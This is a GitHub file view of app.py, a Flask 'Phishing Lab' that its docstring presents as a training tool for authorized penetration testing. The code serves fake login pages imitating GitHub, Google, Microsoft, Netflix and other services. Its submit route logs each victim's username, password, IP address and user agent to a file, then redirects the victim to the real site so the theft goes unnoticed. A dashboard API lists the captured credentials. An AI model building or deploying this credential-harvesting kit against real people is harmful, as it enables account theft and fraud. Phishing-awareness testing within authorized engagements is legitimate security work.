-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.py
More file actions
132 lines (111 loc) · 3.51 KB
/
Copy pathapp.py
File metadata and controls
132 lines (111 loc) · 3.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
Phishing Lab - Security Assessment Training Tool
For authorized penetration testing only.
Captures credentials for educational demonstration purposes.
"""
import json
import os
import time
import uuid
from datetime import datetime
from flask import Flask, request, render_template, redirect, jsonify, send_from_directory
app = Flask(__name__)
# --- Configuration ---
LOGS_FILE = "logs.json"
REDIRECT_MAP = {
"github": "https://github.com/login",
"google": "https://accounts.google.com",
"microsoft": "https://login.live.com",
"facebook": "https://facebook.com/login",
"linkedin": "https://linkedin.com/login",
"instagram": "https://instagram.com/accounts/login",
"twitter": "https://twitter.com/login",
"netflix": "https://netflix.com/login",
}
# --- Logging ---
def load_logs():
if not os.path.exists(LOGS_FILE):
return []
try:
with open(LOGS_FILE, "r") as f:
return json.load(f)
except:
return []
def save_logs(logs):
with open(LOGS_FILE, "w") as f:
json.dump(logs, f, indent=2)
def add_log(service, username, password, ip_addr, user_agent):
logs = load_logs()
entry = {
"id": str(uuid.uuid4())[:8],
"service": service,
"username": username,
"password": password,
"ip": ip_addr,
"user_agent": user_agent,
"timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"epoch": int(time.time()),
}
logs.append(entry)
save_logs(logs)
return entry
# --- Routes ---
@app.route("/")
def index():
return render_template("index.html")
@app.route("/<service>")
def login_page(service):
if service in REDIRECT_MAP:
return render_template(f"{service}.html", service=service)
if service == "dashboard":
return admin_dashboard()
return redirect("/")
@app.route("/submit", methods=["POST"])
def submit():
data = request.get_json() or request.form
service = data.get("service", "unknown")
username = data.get("username", "")
password = data.get("password", "")
ip_addr = request.headers.get("X-Forwarded-For", request.remote_addr)
user_agent = request.headers.get("User-Agent", "unknown")
if username and password:
add_log(service, username, password, ip_addr, user_agent)
target = REDIRECT_MAP.get(service, "https://github.com/login")
return jsonify({"redirect": target})
# --- Admin Dashboard ---
@app.route("/dashboard")
def admin_dashboard():
return render_template("dashboard.html")
@app.route("/dashboard/api/logs")
def api_logs():
logs = load_logs()
service = request.args.get("service", "")
if service:
logs = [l for l in logs if l["service"] == service]
return jsonify({"logs": logs, "total": len(logs)})
@app.route("/dashboard/api/stats")
def api_stats():
logs = load_logs()
total = len(logs)
services = {}
for l in logs:
svc = l["service"]
services[svc] = services.get(svc, 0) + 1
recent = logs[-10:] if logs else []
return jsonify({
"total": total,
"services": services,
"recent": recent,
"unique_ips": len(set(l["ip"] for l in logs)),
})
@app.route("/dashboard/api/clear", methods=["POST"])
def api_clear():
save_logs([])
return jsonify({"ok": True, "total": 0})
# --- Static Assets ---
@app.route("/static/<path:path>")
def static_files(path):
return send_from_directory("static", path)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)